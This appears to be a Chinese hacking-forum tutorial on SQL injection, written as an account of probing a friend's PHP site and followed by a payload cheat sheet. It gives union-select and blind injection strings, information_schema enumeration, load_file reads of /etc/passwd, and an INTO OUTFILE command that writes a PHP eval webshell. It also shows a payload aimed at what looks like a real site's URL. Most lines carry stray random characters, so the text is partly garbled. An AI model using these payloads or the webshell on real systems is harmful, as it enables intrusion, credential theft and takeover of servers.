我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
* |* ?2 V2 @+ f! n1 D让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
" P7 j9 Z, H( N* ^# u我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。' i1 O! x, n8 M* n/ C0 [( n
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)0 e% o/ T, {: c
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)' Y! E9 i1 v1 I, h+ ^! ?. u5 p
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:& L; \/ d; L( ^# \5 P; x
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in4 j7 v8 j8 P5 G0 E- Q% O0 m6 f2 q
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
5 ]7 v! x) P. u# M 0 {* t. q8 v' s7 b4 O6 {' l" q
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,( t2 ~9 y- d0 t0 ^* N0 ]- |, z
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意
3 i, m+ M) o+ I1 h k4 F. w9 b0 J( `4 x4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
7 y) O+ c8 ?- p# Z! _5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。( o% T6 n4 _6 {" G$ c; B
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,2 f$ }! d `9 }* o
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
* P4 T- W7 q! M3 d0 L7 R; g) G我就用的是第二个思路,5 y7 C' n, P% R/ |+ z) V
提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1--
: m" E( I* l& _% O6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,) u9 W, w5 e1 p/ F3 G8 y- S) I
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--/ m( f/ u i8 D* T
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。" s& g7 i3 ^2 e
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????5 {" G8 I; d7 n2 F# M) J) K# @1 Y
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....
- H( i1 z/ a( k# Y+ `提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --
9 }6 {% R! a3 t# Y, j然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,$ `0 `2 e! l0 r9 t+ f
调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
5 p) t2 C. a, K* N# |$ Z1 ^下面是一些很普遍注入方式资料:3 b; |& v' y! E( i8 v1 ?
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
5 w* t5 G& L0 f$ R拆半法
) F4 i B& ?. v0 s4 `2 ?( v######################################$ Y# S5 D- L. L w8 v/ \
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
$ g5 N( D) ^$ p' r$ e2 t- e" s3 oand exists (select * from admin)
5 [1 `% Q) Y, d' Tand exists(select id from admin)5 l7 T" G; q9 G
and exists(select id from admin where id=1)
, z$ ]2 c* c a4 ?4 ?and exists(select id from admin where id>1) 9 |$ I: h3 s& H8 p+ Y. `
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 . Y& ^0 F5 Y1 Q x
and exists (select username from admin)
y/ E2 h u8 L+ _; Pand exists (select password from admin)4 u2 l+ O$ R; r0 P
and exists (select id from admin where len(username)<10 and id=1)
- o- g6 F( ? i7 [: [7 A/ ~and exists (select id from admin where len(username)>5 and id=1)$ v1 i: i m/ y) |: A/ c0 b8 F2 {+ h
and exists (select id from admin where len(username)=6 and id=1)3 b9 f$ K9 R6 V. `* h" T
and exists (select id from admin where len(password)<10 and id=1)
+ J3 O' N' n, Rand exists (select id from admin where len(password)>5 and id=1)+ F* Y4 p) \* x9 p
and exists (select id from admin where len(password)=7 and id=1)
6 ?6 A5 y( V/ ]' _1 uand (select top 1 asc(mid(username,1,1)) from admin)=973 U& ` N3 c* w4 s7 p8 F
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。4 B# }( |; [* E
猜第二位把username,1,1改成username,2,1就可以了。
2 J0 ^: [8 Z8 [: F猜密码把username改成password就OK了, x1 h7 _3 ~3 W% @# ~
##################################################
k3 }# H% H9 Z; L, _搜索型注入0 _2 j2 e2 h7 C, a+ W1 o
##################################
' g9 ^& z7 A7 _8 r# W2 o2 a%' and 1=1 and '%'='
2 {3 X" X! Z1 `+ ]/ k%' and exists (select * from admin) and '%'='
5 N6 X: ?0 d8 x4 ]" R! x%' and exists(select id from admin where id=1) and '%'='" C& i5 v" b- Y, M8 ]5 w) l" {
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='; K% x, t) \: e6 H" d& l/ Z
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
- K; i; Z8 t# A+ d%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='& s S; M; r, d9 ?% {
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
( W- {% _5 C4 T9 l对于MSSQL数据库,后面可以吧 and '%'='换成--$ }2 B+ K& @! {* w( A; s, m
还有一点搜索型注入也可以使用union语句。7 D3 ~ W m3 ~5 ]1 h$ Y
########################################################. r: p0 L3 Q Y2 ^! A9 S
联合查询。
% v* a( _ V6 p- O- N5 t7 u#####################################9 L' s" {2 J4 G+ G- M9 G
order by 10
& `; q* Y) ^) R( band 1=2 union select 1,2,3,4,5,6,7,8,9,10
( f8 c8 V) H+ G, ~, X4 P8 v8 K! I* t$ Pand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin+ B+ R' d5 |6 y7 L8 I& N
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=16 O( |" `$ e9 n/ g* u8 e/ U
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)- I$ z: G" d' X% k/ ^* I! u
###################################$ r2 H$ e0 ^0 l4 n
cookie注入
j J4 X0 e% k0 r3 s* Q* e4 u5 i###############################
, `3 ]- b- ] Ihttp://www.******.com/shownews.asp?id=127( k Y/ ~& | Q; Q; O% N
http://www.******.com/shownews.asp. z3 H& {" R. `) m4 F3 G z
alert(="id="+escape("127"));5 g; t! }% W! l
alert(="id="+escape("127 and 1=1"));6 _% ]/ q4 h1 }# w7 d
alert(="id="+escape("127 order by 10"));$ ]- j, r8 J# J4 q/ \
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));% o# S* ]( ~3 O
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));7 q4 t9 C3 X4 Z; L5 k, y
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。8 G o3 Q3 G. _3 M3 `, v6 d
###################################7 V- A, f! I( E" S/ V8 }% h
偏移注入1 C# \& i& ?! }: ?* s1 ]
###########################################################
+ j* p! k0 i. z6 Munion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
$ t T1 X5 g; nunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin* Y$ e x) f( ]/ N& z
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)$ g2 `/ l) z0 G( ^8 U+ g
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
1 m4 D0 S% y& @: d4 _/ W' [union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
+ ^6 Z/ N5 q4 B* B$ X& r$ ^union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)% G. ~( \' @4 c+ @
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on3 |9 |3 W9 J0 f# A, j1 W6 S
a.id=d.id)6 P7 V. d( c$ m9 c9 O4 ?0 x7 ]$ W
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)8 c2 C+ X0 U' \* i3 Z/ n5 Z, Z
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
8 A% B) W7 U; W, H# Y1 O
+ Z2 Q. f$ r5 ^" U7 @# g: H============================================================================================================
" N/ [! }+ Y( {! G. i; K1.判断版本
0 ~; i! i0 w8 f' V9 \( ~- ~" Land ord(mid(version(),1,1))>51
# Y8 _& z! y0 Y7 H返回正常,说明大于4.0版本,支持ounion查询
- T8 Z7 Y: T' H5 x2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解0 \0 A6 y" ]3 l
and 2=4 union select 1,2,3,4,5,6,7,8,9--
0 ?/ S$ W3 a# B' {! p3.查看数据库版本及当前用户," s$ s9 w/ r1 u! H3 L
and 2=4 union select 1,user(),version(),4,5,6,7,8,9--
5 z5 M3 @% i# w数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,
$ `7 Z+ m' j8 V) Y* X! F( W4.判断有没有写权限6 @ j' b1 c4 `: p+ L7 w- D H
and (select count(*) from MySQL.user)>0--
* T5 f: J! F4 J" `" V5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1& |" Y( K* u! j9 `, P8 a$ t; e! q
用不了这个命令,就学习土耳其黑客手法,如下: X" Z3 }% W2 S2 ]% A) h1 m* b
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--/ \% D @; f: X o
6.爆表,爆库
7 y& f$ o" z& D/ Rand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
$ T5 `/ y+ b& G% j7.爆列名,爆表0 N+ {; F$ y! F- V1 W
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--) F; |$ D$ Z, S c
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。
8 |! ~: e+ l5 X" zand+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--2 Q T% `5 x2 Z2 q, s
9.爆字段内容+ g7 H( v* Z: c+ P8 O* G7 I5 K/ C
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
; [5 c+ z7 I( N7 d' m7 h0 yhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1-- |